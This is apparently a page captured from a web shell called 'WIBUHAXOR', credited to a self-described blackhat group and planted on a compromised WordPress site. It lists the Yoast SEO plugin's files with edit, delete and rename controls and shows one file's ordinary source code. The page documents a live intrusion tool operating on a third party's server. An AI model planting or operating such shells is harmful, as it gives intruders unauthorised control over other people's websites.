-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
exceptions
--
NONE
options
--
NONE
sitemaps
--
NONE
class-addon-manager.php
26.591KB
Edit File
Delete File
Rename
class-my-yoast-api-request.php
5.387KB
Edit File
Delete File
Rename
class-post-type.php
3.893KB
Edit File
Delete File
Rename
class-rewrite.php
7.579KB
Edit File
Delete File
Rename
class-upgrade-history.php
3.043KB
Edit File
Delete File
Rename
class-upgrade.php
55.293KB
Edit File
Delete File
Rename
class-wpseo-admin-bar-menu.php
26.966KB
Edit File
Delete File
Rename
class-wpseo-custom-fields.php
1.726KB
Edit File
Delete File
Rename
class-wpseo-image-utils.php
15.091KB
Edit File
Delete File
Rename
class-wpseo-installation.php
1.173KB
Edit File
Delete File
Rename
class-wpseo-replace-vars.php
51.412KB
Edit File
Delete File
Rename
class-wpseo-replacement-variable.php
1.343KB
Edit File
Delete File
Rename
class-wpseo-shortlinker.php
1.105KB
Edit File
Delete File
Rename
class-wpseo-statistics.php
1.409KB
Edit File
Delete File
Rename
class-wpseo-utils.php
28.488KB
Edit File
Delete File
Rename
class-yoast-dynamic-rewrites.php
5.235KB
Edit File
Delete File
Rename
date-helper.php
1.711KB
Edit File
Delete File
Rename
interface-wpseo-wordpress-ajax-integration.php
0.287KB
Edit File
Delete File
Rename
interface-wpseo-wordpress-integration.php
0.34KB
Edit File
Delete File
Rename
language-utils.php
1.282KB
Edit File
Delete File
Rename
wpseo-functions-deprecated.php
0.066KB
Edit File
Delete File
Rename
wpseo-functions.php
9.002KB
Edit File
Delete File
Rename
wpseo-non-ajax-functions.php
1.556KB
Edit File
Delete File
Rename
<?php /** * WPSEO plugin file. * * @package WPSEO\Internals * @since 5.9.0 */ /** * Group of language utility methods for use by WPSEO. * All methods are static, this is just a sort of namespacing class wrapper. */ class WPSEO_Language_Utils { /** * Returns the language part of a given locale, defaults to english when the $locale is empty. * * @param string|null $locale The locale to get the language of. * * @return string The language part of the locale. */ public static function get_language( $locale = null ) { $language = 'en'; if ( empty( $locale ) || ! is_string( $locale ) ) { return $language; } $locale_parts = explode( '_', $locale ); if ( ! empty( $locale_parts[0] ) && ( strlen( $locale_parts[0] ) === 2 || strlen( $locale_parts[0] ) === 3 ) ) { $language = $locale_parts[0]; } return $language; } /** * Returns the full name for the sites' language. * * @return string The language name. */ public static function get_site_language_name() { require_once ABSPATH . 'wp-admin/includes/translation-install.php'; $translations = wp_get_available_translations(); $locale = get_locale(); $language = isset( $translations[ $locale ] ) ? $translations[ $locale ]['native_name'] : 'English (US)'; return $language; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat